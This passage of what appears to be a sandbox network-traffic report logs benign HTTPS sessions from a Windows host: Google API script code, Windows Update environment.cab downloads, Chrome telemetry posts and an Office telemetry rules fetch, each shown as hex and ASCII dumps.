6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-30 19:13:15 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-10-30 19:13:15 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-10-30 19:13:15 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-10-30 19:13:15 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-10-30 19:13:15 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-10-30 19:13:15 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-10-30 19:13:15 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-10-30 19:13:15 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-10-30 19:13:15 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49746	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:16 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=zUGrAnvCXfUvUdp&MD=1xL3sy4L HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-30 19:13:16 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: bac5f3a3-6a74-461c-a0b6-003e0116b8b1 MS-RequestId: 865ffecd-ab39-455b-abbd-2e1154be60b2 MS-CV: H2398s7Li0W1vXJk.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 19:13:15 GMT Connection: close Content-Length: 24490
2024-10-30 19:13:16 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-30 19:13:16 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49753	142.250.184.206	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:16 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 19:13:16 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 33 31 35 35 39 33 39 30 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730315593909",null,null,null,
2024-10-30 19:13:16 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=kvFo3I5Avy2ky16SNvIlYpWqULolVmU0167FdNYWUjIe3q5ufHEPqLriv2cqNOhXqgvBt4w1LLPp5HxTs7wYopIpAbeiw8k3Dvj_S4-uNxQZqNKScOQEwCnrA6zjF4UMnGHQlDyZYtk0qHPAtLLMROtdqF-M2XdxNDdhSNRxxYhPGM4kxFg; expires=Thu, 01-May-2025 19:13:16 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 30 Oct 2024 19:13:16 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 30 Oct 2024 19:13:16 GMT Connection: close Transfer-Encoding: chunked
2024-10-30 19:13:16 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-30 19:13:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49762	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:54 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=zUGrAnvCXfUvUdp&MD=1xL3sy4L HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-30 19:13:54 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: c74ea308-badc-4b28-967d-f1376c3553f1 MS-RequestId: 8f06a77f-59f2-456c-8617-737ba218e4b5 MS-CV: 2A6ZzYPZ/ki4fEgD.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 19:13:54 GMT Connection: close Content-Length: 30005
2024-10-30 19:13:54 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-30 19:13:54 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:56 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:13:56 UTC	561	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:56 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191356Z-15b8d89586f42m673h1quuee4s0000000cfg00000000ge15 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:13:56 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" 